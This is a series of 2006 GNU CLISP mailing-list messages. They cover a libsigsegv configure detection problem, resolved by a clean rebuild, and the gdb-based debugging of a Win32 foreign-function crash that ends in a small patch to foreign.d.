Like you, I was hoping for a clue. Is the underscore in lib_sigsegv
significant? (Probably not, it also occurs for other libraries.)

There are some testing errors reported in config.log, such as

configure:2180: gcc -c -g -O2  conftest.c >&5
conftest.c:2: error: parse error before 'me'
configure:2186: $? = 1
configure: failed program was:
| #ifndef __cplusplus
|   choke me
| #endif

and 

configure:2505: gcc -E  conftest.c
conftest.c:9:28: error: ac_nonexistent.h: No such file or directory
configure:2511: $? = 1
configure: failed program was:
| /* confdefs.h.  */
| 
| #define PACKAGE_NAME "GNU CLISP"
| #define PACKAGE_TARNAME "clisp"
| #define PACKAGE_VERSION "2.39 (2006-07-16)"
| #define PACKAGE_STRING "GNU CLISP 2.39 (2006-07-16)"
| #define PACKAGE_BUGREPORT "http://clisp.cons.org/"
| /* end confdefs.h.  */
| #include <ac_nonexistent.h>

but configure seems to complete without problems, with no libsigsegv found.
I can report all the errors or send the entire config.log off-list if
someone wants to inspect it.

Incidentally, the clisp-2.39 built without libsigsegv.a passes all the clisp
and maxima tests.

Thanks, and what next?

Joe




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Sam Steingold wrote:
> could you please try to debug this?
> 

[1]> (use-package  :ffi)
T
[2]> (def-call-out c-malloc (:arguments (l long))
     (:name "malloc") (:language :stdc) (:return-type c-pointer)
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C-MALLOC
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#<FOREIGN-ADDRESS #x003DFDE0>
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Yaroslav Kavenchuk wrote:
> Sam Steingold wrote:
>> could you please try to debug this?
>>
> 
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ok - so why does the woe32 function crash?
did it crash before the patch?
could you please run this under gdb and report the backtrace?

thanks.
Sam.


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Yaroslav Kavenchuk wrote:
> Sam Steingold wrote:
>> could you please try to debug this?
>>
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ok - so why does the woe32 function crash?
did it crash before the patch?
could you please run this under gdb and report the backtrace?

thanks.
Sam.



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Sam Steingold wrote:
> ok - so why does the woe32 function crash?
> did it crash before the patch?
> could you please run this under gdb and report the backtrace?

$ gdb --args lisp.exe -M lispinit.mem -norc
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This GDB was configured as "i686-pc-mingw32"...
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Starting program: C:\gnu\home\src\clisp\clisp\build-full\full/lisp.exe 
-M lispinit.mem -norc

Program received signal SIGSEGV, Segmentation fault.
0x00464079 in closed_buffered (stream=0x19edd68d) at stream.d:7985
7985      BufferedStream_buffstart(stream) = 0; # delete buffstart 
(unnecessary)
(gdb) backtrace
#0  0x00464079 in closed_buffered (stream=0x19edd68d) at stream.d:7985
#1  0x0022fc08 in ?? ()
#2  0x0043c7e0 in loadmem_from_handle (handle=0x4f8058,
     filename=0x4f8084 "\024\020Q") at spvw_memfile.d:1622
#3  0x0043caf9 in loadmem (filename=0x4f8058 "\v\020Q") at 
spvw_memfile.d:922
#4  0x0043daf5 in init_memory (p=0x5b66c8) at spvw.d:2922
#5  0x0043df7a in main (argc=4, argv=0x3d4340) at spvw.d:3278
(gdb)


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Sam Steingold wrote:
> did it crash before the patch?

Original 2.39 not crash

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Yaroslav Kavenchuk wrote:
> Sam Steingold wrote:
>> ok - so why does the woe32 function crash?
>> did it crash before the patch?
>> could you please run this under gdb and report the backtrace?
> 
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> -M lispinit.mem -norc
> 
> Program received signal SIGSEGV, Segmentation fault.
> 0x00464079 in closed_buffered (stream=0x19edd68d) at stream.d:7985
> 7985      BufferedStream_buffstart(stream) = 0; # delete buffstart 
> (unnecessary)
> (gdb) backtrace
> #0  0x00464079 in closed_buffered (stream=0x19edd68d) at stream.d:7985
> #1  0x0022fc08 in ?? ()
> #2  0x0043c7e0 in loadmem_from_handle (handle=0x4f8058,
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> #3  0x0043caf9 in loadmem (filename=0x4f8058 "\v\020Q") at 
> spvw_memfile.d:922
> #4  0x0043daf5 in init_memory (p=0x5b66c8) at spvw.d:2922
> #5  0x0043df7a in main (argc=4, argv=0x3d4340) at spvw.d:3278
> (gdb)
> 
> 

this is because of generational GC.
in gdb:
handle SIGSEGV noprint nostop
handle SIGBUS noprint nostop
or recompile without Gen GC




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Yaroslav Kavenchuk wrote:
> Sam Steingold wrote:
>> ok - so why does the woe32 function crash?
>> did it crash before the patch?
>> could you please run this under gdb and report the backtrace?
> 
> $ gdb --args lisp.exe -M lispinit.mem -norc
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> (gdb) run
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> -M lispinit.mem -norc
> 
> Program received signal SIGSEGV, Segmentation fault.
> 0x00464079 in closed_buffered (stream=0x19edd68d) at stream.d:7985
> 7985      BufferedStream_buffstart(stream) = 0; # delete buffstart 
> (unnecessary)
> (gdb) backtrace
> #0  0x00464079 in closed_buffered (stream=0x19edd68d) at stream.d:7985
> #1  0x0022fc08 in ?? ()
> #2  0x0043c7e0 in loadmem_from_handle (handle=0x4f8058,
>      filename=0x4f8084 "\024\020Q") at spvw_memfile.d:1622
> #3  0x0043caf9 in loadmem (filename=0x4f8058 "\v\020Q") at 
> spvw_memfile.d:922
> #4  0x0043daf5 in init_memory (p=0x5b66c8) at spvw.d:2922
> #5  0x0043df7a in main (argc=4, argv=0x3d4340) at spvw.d:3278
> (gdb)
> 
> 

this is because of generational GC.
in gdb:
handle SIGSEGV noprint nostop
handle SIGBUS noprint nostop
or recompile without Gen GC




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Sam Steingold wrote:
> this is because of generational GC.
> in gdb:
> handle SIGSEGV noprint nostop
> handle SIGBUS noprint nostop
> or recompile without Gen GC

$ gdb --args lisp.exe -M lispinit.mem -norc
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This GDB was configured as "i686-pc-mingw32"...
(gdb) handle SIGSEGV noprint nostop
Signal        Stop      Print   Pass to program Description
SIGSEGV       No        No      Yes             Segmentation fault
(gdb) handle SIGBUS noprint nostop
Signal        Stop      Print   Pass to program Description
SIGBUS        No        No      Yes             Bus error
(gdb) run
Starting program: C:\gnu\home\src\clisp\clisp\build-full\full/lisp.exe 
-M lispinit.mem -norc

Program exited with code 030000000005.


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Yaroslav Kavenchuk wrote:
> Sam Steingold wrote:
>> this is because of generational GC.
>> in gdb:
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>> handle SIGBUS noprint nostop
>> or recompile without Gen GC
> 
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> (gdb) run
> Starting program: C:\gnu\home\src\clisp\clisp\build-full\full/lisp.exe 
> -M lispinit.mem -norc

you gotta get creative here.
before "run" - set a break point in C_foreign_call_out and when it is 
hit, re-enable sigsegv.

or just rebuild without gen gc


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Yaroslav Kavenchuk wrote:
> Sam Steingold wrote:
>> this is because of generational GC.
>> in gdb:
>> handle SIGSEGV noprint nostop
>> handle SIGBUS noprint nostop
>> or recompile without Gen GC
> 
> $ gdb --args lisp.exe -M lispinit.mem -norc
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> (gdb) handle SIGSEGV noprint nostop
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> Signal        Stop      Print   Pass to program Description
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> Starting program: C:\gnu\home\src\clisp\clisp\build-full\full/lisp.exe 
> -M lispinit.mem -norc

you gotta get creative here.
before "run" - set a break point in C_foreign_call_out and when it is 
hit, re-enable sigsegv.

or just rebuild without gen gc



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Sam Steingold wrote:
> you gotta get creative here.
> before "run" - set a break point in C_foreign_call_out and when it is 
> hit, re-enable sigsegv.
>
> or just rebuild without gen gc

Excuse me, but how rebuild clisp without gen gc?


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Yaroslav Kavenchuk wrote:
> Sam Steingold wrote:
>> you gotta get creative here.
>> before "run" - set a break point in C_foreign_call_out and when it is 
>> hit, re-enable sigsegv.
>>
>> or just rebuild without gen gc
> 
> Excuse me, but how rebuild clisp without gen gc?

read the comments in the beginning of src/lispbibl.d:
add NO_GENERATIONAL_GC to CFLAGS


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Yaroslav Kavenchuk wrote:
> Sam Steingold wrote:
>> you gotta get creative here.
>> before "run" - set a break point in C_foreign_call_out and when it is 
>> hit, re-enable sigsegv.
>>
>> or just rebuild without gen gc
> 
> Excuse me, but how rebuild clisp without gen gc?

read the comments in the beginning of src/lispbibl.d:
add NO_GENERATIONAL_GC to CFLAGS



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Joe,

I am no expert on configure.
unless someone here steps in, you might want to ask the autoconf mailing
list.

> configure: failed program was:
so, does it have the failed program for sigsegv?


> Incidentally, the clisp-2.39 built without libsigsegv.a passes all the
> clisp and maxima tests.
good.


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on 9/5/06 6:53 PM, Sam Steingold at sds@podval.org wrote:

> Joe,
> 
> I am no expert on configure.
> unless someone here steps in, you might want to ask the autoconf mailing
> list.
> 
>> configure: failed program was:
> so, does it have the failed program for sigsegv?
> 
Sam,

I'm probably less of an expert on configure than you are.

The puzzlement is that there doesn't seem to be a "failed program" or error
reported anywhere, only a failure to find either libsigsegv.a or sigsegv.h,
and I don't know which file configure keys from in this case because
config.log doesn't say.

I recently built octave with the sparse matrix libraries. There, configure
was using the header files for detection of the sparse libraries, and
reporting the missing header files in config.log. I can't seem to find the
smoking gun here. It is almost as if there is something preventing the
successful matching of the string with prefix directory and library name
with actual file name. For example, libsigsegv could be misspelled somewhere
in the configure script, or we're seeing a case sensitivity or character set
issue. What further baffles me is that clisp-2.38 built successfully with
the same arrangement.

Can someone suggest a test that will isolate the problem location? I'd be
willing to try.

OK, I'll give it a couple of days, look it over again, and then I'll go back
to clisp-2.38. All I use clisp for is maxima, and I suspect that at my level
of usage, I won't see any improvement in results based on the newer clisp
version.

Thanks.

> 
>> Incidentally, the clisp-2.39 built without libsigsegv.a passes all the
>> clisp and maxima tests.
> good.
> 

Joe




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$ gdb --args lisp.exe -M lispinit.mem -norc
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welcome to change it and/or distribute copies of it under certain 
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This GDB was configured as "i686-pc-mingw32"...
(gdb) run
Starting program: C:\gnu\home\src\clisp\clisp\build-full\full/lisp.exe 
-M lispinit.mem -norc

Program received signal SIGSEGV, Segmentation fault.
0x0046337b in iarray_displace_check (array={one_o = 788725848},
     size=1062279661, index=0x22a6ac) at array.d:277
277           if (*index+size > Sarray_length(array))
(gdb) backtrace
#0  0x0046337b in iarray_displace_check (array={one_o = 788725848},
     size=1062279661, index=0x22a6ac) at array.d:277
#1  0x004e22f8 in unpack_string_ro (string={one_o = 1526869763}, 
len=0x22a6b0,
     offset=0x22a6ac) at charstrg.d:572
#2  0x00461a87 in object_handle (library={one_o = 1526869763}, name=
       {one_o = 1526869763}) at foreign.d:4129
#3  0x00461f21 in update_library (acons={one_o = 1526869763}, version=0)
     at foreign.d:4174
#4  0x00462361 in validate_fpointer (obj={one_o = 434976137}) at 
foreign.d:4265
#5  0x0045580d in check_faddress_valid (fa={one_o = 435005341})
     at foreign.d:610
#6  0x0045f4a8 in C_foreign_call_out (argcount=1, 
rest_args_pointer=0x1100114)
     at foreign.d:3406
#7  0x00509fa4 in funcall_subr (fun={one_o = 5781522}, args_on_stack=1)
     at eval.d:5325
#8  0x005093e3 in funcall (fun={one_o = 5781522}, args_on_stack=2)
     at eval.d:4930
#9  0x00506d31 in eval_ffunction (ffun={one_o = 435005357}) at eval.d:3986
#10 0x00503c87 in eval1 (form={one_o = 1526853811}) at eval.d:3049
#11 0x00503788 in eval (form={one_o = 1526853811}) at eval.d:2899
#12 0x0053e316 in C_read_eval_print () at debug.d:408
#13 0x0050a00a in funcall_subr (fun={one_o = 5755186}, args_on_stack=2)
     at eval.d:5330
#14 0x0050945a in funcall (fun={one_o = 5790065}, args_on_stack=2)
     at eval.d:4937
#15 0x0050d2d5 in interpret_bytecode_ (closure={one_o = 435031201},
     codeptr=0x19e74954, byteptr_in=0x19e74966 "â•žP\200J") at eval.d:7021
#16 0x0050add9 in funcall_closure (closure={one_o = 435031201},
     args_on_stack=0) at eval.d:5771
#17 0x00509410 in funcall (fun={one_o = 435031201}, args_on_stack=0)
     at eval.d:4932
#18 0x0053b476 in C_driver () at control.d:1976
#19 0x0050d3d2 in interpret_bytecode_ (closure={one_o = 434588305},
     codeptr=0x19e74900, byteptr_in=0x19e74912 "G") at eval.d:7027
#20 0x0050add9 in funcall_closure (closure={one_o = 434588305},
     args_on_stack=0) at eval.d:5771
#21 0x00509410 in funcall (fun={one_o = 434588305}, args_on_stack=0)
     at eval.d:4932
#22 0x0050dbbc in interpret_bytecode_ (closure={one_o = 434793521},
     codeptr=0x19dd4798, byteptr_in=0x19dd47aa "") at eval.d:7077
#23 0x0050add9 in funcall_closure (closure={one_o = 434793521},
     args_on_stack=0) at eval.d:5771
#24 0x00509410 in funcall (fun={one_o = 434793521}, args_on_stack=0)
     at eval.d:4932
#25 0x0050dbbc in interpret_bytecode_ (closure={one_o = 434794621},
     codeptr=0x19dd4798, byteptr_in=0x19dd47aa "") at eval.d:7077
#26 0x0050add9 in funcall_closure (closure={one_o = 434794621},
     args_on_stack=0) at eval.d:5771
#27 0x00509410 in funcall (fun={one_o = 434794621}, args_on_stack=0)
     at eval.d:4932
#28 0x0050dbbc in interpret_bytecode_ (closure={one_o = 434912705},
     codeptr=0x19dd4798, byteptr_in=0x19dd47aa "") at eval.d:7077
#29 0x0050add9 in funcall_closure (closure={one_o = 434912705},
     args_on_stack=0) at eval.d:5771
#30 0x00509410 in funcall (fun={one_o = 434912705}, args_on_stack=0)
     at eval.d:4932
#31 0x0050dbbc in interpret_bytecode_ (closure={one_o = 434914161},
     codeptr=0x19dd4798, byteptr_in=0x19dd47aa "") at eval.d:7077
#32 0x0050add9 in funcall_closure (closure={one_o = 434914161},
     args_on_stack=0) at eval.d:5771
#33 0x00509410 in funcall (fun={one_o = 434914161}, args_on_stack=0)
     at eval.d:4932
#34 0x0050dbbc in interpret_bytecode_ (closure={one_o = 435011385},
     codeptr=0x19dd4798, byteptr_in=0x19dd47aa "") at eval.d:7077
#35 0x0050add9 in funcall_closure (closure={one_o = 435011385},
     args_on_stack=0) at eval.d:5771
#36 0x00509410 in funcall (fun={one_o = 435011385}, args_on_stack=0)
     at eval.d:4932
#37 0x0053e655 in driver () at debug.d:477
#38 0x0044eb18 in main_actions (p=0x638678) at spvw.d:3231
#39 0x0044d84d in main (argc=4, argv=0x3d43b8) at spvw.d:3367
(gdb)



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On Wednesday 06 September 2006 11:45, Joe Koski wrote:
> on 9/5/06 6:53 PM, Sam Steingold at sds@podval.org wrote:
> Sam,
>
> I'm probably less of an expert on configure than you are.

I'm no expert on configure either, but I'd like to call your attention to
src/autoconf/aclocal.m4 and search forward to "AC_DEFUN([CL_SIGSEGV]". 
That's where whether libsigsegv is available is determined.

It seems that sigsegv.h was not found. You may need to specify that. For 
instance, maybe you can supply the path to configure 
with --includedir=SIGSEGVDIR 

> The puzzlement is that there doesn't seem to be a "failed program" or error
> reported anywhere, only a failure to find either libsigsegv.a or sigsegv.h,
> and I don't know which file configure keys from in this case because
> config.log doesn't say.

AFAIK, clisp can work without libsigsegv.


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Yaroslav Kavenchuk wrote:
> 0x0046337b in iarray_displace_check (array={one_o = 788725848},
>      size=1062279661, index=0x22a6ac) at array.d:277
> 277           if (*index+size > Sarray_length(array))
> (gdb) backtrace
> #0  0x0046337b in iarray_displace_check (array={one_o = 788725848},
>      size=1062279661, index=0x22a6ac) at array.d:277
> #1  0x004e22f8 in unpack_string_ro (string={one_o = 1526869763}, 
> len=0x22a6b0,
>      offset=0x22a6ac) at charstrg.d:572
> #2  0x00461a87 in object_handle (library={one_o = 1526869763}, name=
>        {one_o = 1526869763}) at foreign.d:4129
> #3  0x00461f21 in update_library (acons={one_o = 1526869763}, version=0)
>      at foreign.d:4174
> #4  0x00462361 in validate_fpointer (obj={one_o = 434976137}) at 
> foreign.d:4265
> #5  0x0045580d in check_faddress_valid (fa={one_o = 435005341})
>      at foreign.d:610
> #6  0x0045f4a8 in C_foreign_call_out (argcount=1, 
> rest_args_pointer=0x1100114)
>      at foreign.d:3406

now please walk these frames and print variables with "p" (for C), 
"xout" and "zout" (for Lisp). e.g.:

(gdb) p size
(gdb) p *index
(gdb) xout array
(gdb) up
(gdb) xout string
(gdb) p *len
(gdb) up
(gdb) xout library
(gdb) xout name
(gdb) up
(gdb) xout acons
(gdb) up
(gdb) xout obj
(gdb) xout STACK[-1]

etc etc etc
please try to figure out what is wrong.

thanks.
Sam.


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on 9/6/06 12:54 AM, YANG Shouxun at yang.shx@fltrp.com wrote:

> On Wednesday 06 September 2006 11:45, Joe Koski wrote:
>> on 9/5/06 6:53 PM, Sam Steingold at sds@podval.org wrote:
>> Sam,
>> 
>> I'm probably less of an expert on configure than you are.
> 
> I'm no expert on configure either, but I'd like to call your attention to
> src/autoconf/aclocal.m4 and search forward to "AC_DEFUN([CL_SIGSEGV]".
> That's where whether libsigsegv is available is determined.
> 
> It seems that sigsegv.h was not found. You may need to specify that. For
> instance, maybe you can supply the path to configure
> with --includedir=SIGSEGVDIR
> 
>> The puzzlement is that there doesn't seem to be a "failed program" or error
>> reported anywhere, only a failure to find either libsigsegv.a or sigsegv.h,
>> and I don't know which file configure keys from in this case because
>> config.log doesn't say.
> 
> AFAIK, clisp can work without libsigsegv.
> 
Sam, Yang,

I went back and started over from scratch, and everything worked. With clean
directories, and libsigsegv.a and sigsegv.h already installed in
/usr/local/lib and /usr/local/include, the ./configure did find the files,
and I got different instructions than before on how to continue the build
(cd to src, run makemake, etc.). The make, make check, and make install
completed without problems.

Apparently, once things get set without libsigsegv installed, the configure
script won't look anywhere else. A clean start fixes the problem.

Now it appears that I also need to rebuild maxima, because xmaxima is still
saying that it is using clisp-2.38, even though clisp-2.39 is installed and
responds correctly to clisp --version.

Thanks for the help.

Joe




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Joe Koski wrote:
> I went back and started over from scratch, and everything worked. With clean
> directories, and libsigsegv.a and sigsegv.h already installed in
> /usr/local/lib and /usr/local/include, the ./configure did find the files,
> and I got different instructions than before on how to continue the build
> (cd to src, run makemake, etc.). The make, make check, and make install
> completed without problems.

apparently you had a stale config.cache
I am glad to hear that the problem is no resolved.
Sam.



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Oops...

$ ./configure
              --with-mingw --with-readline
              --with-module=dirkey --with-module=pcre
              --with-module=rawsock
              --with-module=wildcard --with-module=zlib
              --with-module=bindings/win32
              --with-libreadline-prefix=/usr/local
              --with-libtermcap-prefix=/usr/local
              --with-libpcre-prefix=/usr/local
              --build build-full
...
$ cd build-full/

$ full/lisp.exe -M full/lispinit.mem --version
GNU CLISP 2.39 (2006-07-16) (built 3366388079) (memory 3366388935)
Software: GNU C 3.4.5 (mingw special)
gcc -mno-cygwin -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit 
-Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 
-fexpensive-optimizations -falign-functions=4 -D_WIN32 -DUNICODE 
-DDYNAMIC_FFI -I. -x none /usr/local/lib/libintl.a -L/usr/local/lib 
/usr/local/lib/libiconv.a libcharset.a libavcall.a libcallback.a 
/usr/local/lib/libreadline.a -ltermcap  -luser32 -lws2_32 -lole32 
-loleaut32 -luuid /usr/local/lib/libiconv.a -L/usr/local/lib -lsigsegv
SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS 
SPVW_MIXED TRIVIALMAP_MEMORY
libsigsegv 2.4
libiconv 1.11
libreadline 5.0
Features:
(ZLIB WILDCARD RAWSOCK PCRE DIRKEY READLINE REGEXP SYSCALLS I18N LOOP 
COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS
  GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE 
BASE-CHAR=CHARACTER PC386 WIN32)
C Modules: (clisp i18n syscalls regexp readline dirkey pcre rawsock 
wildcard zlib)
Installation directory: .\
User language: ENGLISH
Machine: PC/386 (PC/686) home [127.0.0.1]

$ full/lisp.exe -M full/lispinit.mem -norc
...
[1]> (win32:GetStdHandle win32:STD_OUTPUT_HANDLE)

*** - handle_fault error2 ! address = 0x2efb0053 not in 
[0x19d70000,0x19ede784) !
SIGSEGV cannot be cured. Fault address = 0x2efb0053.
Permanently allocated: 92672 bytes.
Currently in use: 2054932 bytes.
Free space: 498400 bytes.

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Sam Steingold wrote:
> now please walk these frames and print variables with "p" (for C), 
> "xout" and "zout" (for Lisp). e.g.:
> 

Program received signal SIGSEGV, Segmentation fault.
0x00463ecb in iarray_displace_check (array={one_o = 788725848},
     size=1062279663, index=0x22a6ac) at array.d:277
277           if (*index+size > Sarray_length(array))
(gdb) p size
$1 = 1062279663
(gdb) p *index
$2 = 0
(gdb) xout array
#<huh?! address=0x2f030058>{one_o = 788725848}
(gdb) up
#1  0x004e2e48 in unpack_string_ro (string={one_o = 1610100483}, 
len=0x22a6b0,
     offset=0x22a6ac) at charstrg.d:572
572         return iarray_displace_check(string,size,offset);
(gdb) xout string
("kernel32.dll" #<FOREIGN-POINTER 0x79430000> #<FOREIGN-FUNCTION 
("kernel32.dll" #<FOREIGN-POINTER 0x79430000> #<FOREIGN-FUNCTION (<...>
...
<...> <...> <...> <...> <...> <...> <...> <...>)>)>){one_o = 1610100483}
(gdb) p *len
$3 = 1062279663
(gdb) up
#2  0x004625d7 in object_handle (library={one_o = 1610100483}, name=
       {one_o = 1610100483}) at foreign.d:4129
4129      with_string_0(name,O(foreign_encoding),namez, {
(gdb) xout library
("kernel32.dll" #<FOREIGN-POINTER 0x79430000> #<FOREIGN-FUNCTION 
("kernel32.dll" #<FOREIGN-POINTER 0x79430000> #<FOREIGN-FUNCTION (<...>
...
<...> <...> <...> <...> <...> <...> <...> <...>)>)>){one_o = 1610100483}
(gdb) xout name
("kernel32.dll" #<FOREIGN-POINTER 0x79430000> #<FOREIGN-FUNCTION 
("kernel32.dll" #<FOREIGN-POINTER 0x79430000> #<FOREIGN-FUNCTION (<...>
...
<...> <...> <...> <...> <...> <...> <...> <...>)>)>){one_o = 1610100483}
(gdb) up
#3  0x00462a71 in update_library (acons={one_o = 1610100483}, version=0)
     at foreign.d:4174
4174        var void* handle = object_handle(*acons_,fn);
(gdb) xout acons
("kernel32.dll" #<FOREIGN-POINTER 0x79430000> #<FOREIGN-FUNCTION 
("kernel32.dll" #<FOREIGN-POINTER 0x79430000> #<FOREIGN-FUNCTION (<...>
...
<...> <...> <...> <...> <...> <...> <...> <...>)>)>){one_o = 1610100483}
(gdb) xout fn
("kernel32.dll" #<FOREIGN-POINTER 0x79430000> #<FOREIGN-FUNCTION 
("kernel32.dll" #<FOREIGN-POINTER 0x79430000> #<FOREIGN-FUNCTION (<...>
...
<...> <...> <...> <...> <...> <...> <...> <...>)>)>){one_o = 1610100483}
(gdb) up
#4  0x00462eb1 in validate_fpointer (obj={one_o = 435107289}) at 
foreign.d:4265
4265          update_library(acons,0);  /*version??*/
(gdb) xout obj
#<FOREIGN-POINTER 0x79430000>{one_o = 435107289}
(gdb) xout STACK[-1]
(#<FOREIGN-POINTER 0x79430000> #<FOREIGN-FUNCTION ("kernel32.dll" 
#<FOREIGN-POINTER 0x79430000> #<FOREIGN-FUNCTION (<...> <...> <...>
...
<...> <...> <...> <...> <...> <...>)>)>){one_o = 1610100499}
(gdb)

Is some wrong? Or try further?

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Yaroslav Kavenchuk wrote:
> Sam Steingold wrote:
>> now please walk these frames and print variables with "p" (for C), 
>> "xout" and "zout" (for Lisp). e.g.:
>>
> 
> Program received signal SIGSEGV, Segmentation fault.
> 0x00463ecb in iarray_displace_check (array={one_o = 788725848},
>      size=1062279663, index=0x22a6ac) at array.d:277
> 277           if (*index+size > Sarray_length(array))
> (gdb) p size
> $1 = 1062279663
> (gdb) p *index
> $2 = 0
> (gdb) xout array
> #<huh?! address=0x2f030058>{one_o = 788725848}
> (gdb) up
> #1  0x004e2e48 in unpack_string_ro (string={one_o = 1610100483}, 
> len=0x22a6b0,
>      offset=0x22a6ac) at charstrg.d:572
> 572         return iarray_displace_check(string,size,offset);
> (gdb) xout string
> ("kernel32.dll" #<FOREIGN-POINTER 0x79430000> #<FOREIGN-FUNCTION 
> ("kernel32.dll" #<FOREIGN-POINTER 0x79430000> #<FOREIGN-FUNCTION (<...>
> ...
> <...> <...> <...> <...> <...> <...> <...> <...>)>)>){one_o = 1610100483}
> (gdb) p *len
> $3 = 1062279663
> (gdb) up
> #2  0x004625d7 in object_handle (library={one_o = 1610100483}, name=
>        {one_o = 1610100483}) at foreign.d:4129
> 4129      with_string_0(name,O(foreign_encoding),namez, {
> (gdb) xout library
> ("kernel32.dll" #<FOREIGN-POINTER 0x79430000> #<FOREIGN-FUNCTION 
> ("kernel32.dll" #<FOREIGN-POINTER 0x79430000> #<FOREIGN-FUNCTION (<...>
> ...
> <...> <...> <...> <...> <...> <...> <...> <...>)>)>){one_o = 1610100483}
> (gdb) xout name
> ("kernel32.dll" #<FOREIGN-POINTER 0x79430000> #<FOREIGN-FUNCTION 
> ("kernel32.dll" #<FOREIGN-POINTER 0x79430000> #<FOREIGN-FUNCTION (<...>
> ...
> <...> <...> <...> <...> <...> <...> <...> <...>)>)>){one_o = 1610100483}
> (gdb) up
> #3  0x00462a71 in update_library (acons={one_o = 1610100483}, version=0)
>      at foreign.d:4174
> 4174        var void* handle = object_handle(*acons_,fn);
> (gdb) xout acons
> ("kernel32.dll" #<FOREIGN-POINTER 0x79430000> #<FOREIGN-FUNCTION 
> ("kernel32.dll" #<FOREIGN-POINTER 0x79430000> #<FOREIGN-FUNCTION (<...>
> ...
> <...> <...> <...> <...> <...> <...> <...> <...>)>)>){one_o = 1610100483}
> (gdb) xout fn
> ("kernel32.dll" #<FOREIGN-POINTER 0x79430000> #<FOREIGN-FUNCTION 
> ("kernel32.dll" #<FOREIGN-POINTER 0x79430000> #<FOREIGN-FUNCTION (<...>
> ...
> <...> <...> <...> <...> <...> <...> <...> <...>)>)>){one_o = 1610100483}
> (gdb) up
> #4  0x00462eb1 in validate_fpointer (obj={one_o = 435107289}) at 
> foreign.d:4265
> 4265          update_library(acons,0);  /*version??*/
> (gdb) xout obj
> #<FOREIGN-POINTER 0x79430000>{one_o = 435107289}
> (gdb) xout STACK[-1]
> (#<FOREIGN-POINTER 0x79430000> #<FOREIGN-FUNCTION ("kernel32.dll" 
> #<FOREIGN-POINTER 0x79430000> #<FOREIGN-FUNCTION (<...> <...> <...>
> ...
> <...> <...> <...> <...> <...> <...>)>)>){one_o = 1610100499}
> (gdb)
> 
> Is some wrong? Or try further?

thanks, you pinpointed the bug pretty clearly.
here is the fix, please try it.


--- foreign.d	04 Sep 2006 06:00:58 -0400	1.157
+++ foreign.d	07 Sep 2006 09:32:27 -0400	
@@ -4376,7 +4376,7 @@
    }
    var object ffun = allocate_ffunction();
    var object fvd = STACK_(0+1);
-  TheFfunction(ffun)->ff_name = STACK_(3+1);
+  TheFfunction(ffun)->ff_name = STACK_(4+1);
    TheFfunction(ffun)->ff_address = STACK_0;
    TheFfunction(ffun)->ff_resulttype = TheSvector(fvd)->data[1];
    TheFfunction(ffun)->ff_argtypes = TheSvector(fvd)->data[2];


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Yaroslav Kavenchuk wrote:
> Sam Steingold wrote:
>> now please walk these frames and print variables with "p" (for C), 
>> "xout" and "zout" (for Lisp). e.g.:
>>
> 
> Program received signal SIGSEGV, Segmentation fault.
> 0x00463ecb in iarray_displace_check (array={one_o = 788725848},
>      size=1062279663, index=0x22a6ac) at array.d:277
> 277           if (*index+size > Sarray_length(array))
> (gdb) p size
> $1 = 1062279663
> (gdb) p *index
> $2 = 0
> (gdb) xout array
> #<huh?! address=0x2f030058>{one_o = 788725848}
> (gdb) up
> #1  0x004e2e48 in unpack_string_ro (string={one_o = 1610100483}, 
> len=0x22a6b0,
>      offset=0x22a6ac) at charstrg.d:572
> 572         return iarray_displace_check(string,size,offset);
> (gdb) xout string
> ("kernel32.dll" #<FOREIGN-POINTER 0x79430000> #<FOREIGN-FUNCTION 
> ("kernel32.dll" #<FOREIGN-POINTER 0x79430000> #<FOREIGN-FUNCTION (<...>
> ...
> <...> <...> <...> <...> <...> <...> <...> <...>)>)>){one_o = 1610100483}
> (gdb) p *len
> $3 = 1062279663
> (gdb) up
> #2  0x004625d7 in object_handle (library={one_o = 1610100483}, name=
>        {one_o = 1610100483}) at foreign.d:4129
> 4129      with_string_0(name,O(foreign_encoding),namez, {
> (gdb) xout library
> ("kernel32.dll" #<FOREIGN-POINTER 0x79430000> #<FOREIGN-FUNCTION 
> ("kernel32.dll" #<FOREIGN-POINTER 0x79430000> #<FOREIGN-FUNCTION (<...>
> ...
> <...> <...> <...> <...> <...> <...> <...> <...>)>)>){one_o = 1610100483}
> (gdb) xout name
> ("kernel32.dll" #<FOREIGN-POINTER 0x79430000> #<FOREIGN-FUNCTION 
> ("kernel32.dll" #<FOREIGN-POINTER 0x79430000> #<FOREIGN-FUNCTION (<...>
> ...
> <...> <...> <...> <...> <...> <...> <...> <...>)>)>){one_o = 1610100483}
> (gdb) up
> #3  0x00462a71 in update_library (acons={one_o = 1610100483}, version=0)
>      at foreign.d:4174
> 4174        var void* handle = object_handle(*acons_,fn);
> (gdb) xout acons
> ("kernel32.dll" #<FOREIGN-POINTER 0x79430000> #<FOREIGN-FUNCTION 
> ("kernel32.dll" #<FOREIGN-POINTER 0x79430000> #<FOREIGN-FUNCTION (<...>
> ...
> <...> <...> <...> <...> <...> <...> <...> <...>)>)>){one_o = 1610100483}
> (gdb) xout fn
> ("kernel32.dll" #<FOREIGN-POINTER 0x79430000> #<FOREIGN-FUNCTION 
> ("kernel32.dll" #<FOREIGN-POINTER 0x79430000> #<FOREIGN-FUNCTION (<...>
> ...
> <...> <...> <...> <...> <...> <...> <...> <...>)>)>){one_o = 1610100483}
> (gdb) up
> #4  0x00462eb1 in validate_fpointer (obj={one_o = 435107289}) at 
> foreign.d:4265
> 4265          update_library(acons,0);  /*version??*/
> (gdb) xout obj
> #<FOREIGN-POINTER 0x79430000>{one_o = 435107289}
> (gdb) xout STACK[-1]
> (#<FOREIGN-POINTER 0x79430000> #<FOREIGN-FUNCTION ("kernel32.dll" 
> #<FOREIGN-POINTER 0x79430000> #<FOREIGN-FUNCTION (<...> <...> <...>
> ...
> <...> <...> <...> <...> <...> <...>)>)>){one_o = 1610100499}
> (gdb)
> 
> Is some wrong? Or try further?

thanks, you pinpointed the bug pretty clearly.
here is the fix, please try it.


--- foreign.d	04 Sep 2006 06:00:58 -0400	1.157
+++ foreign.d	07 Sep 2006 09:32:27 -0400	
@@ -4376,7 +4376,7 @@
    }
    var object ffun = allocate_ffunction();
    var object fvd = STACK_(0+1);
-  TheFfunction(ffun)->ff_name = STACK_(3+1);
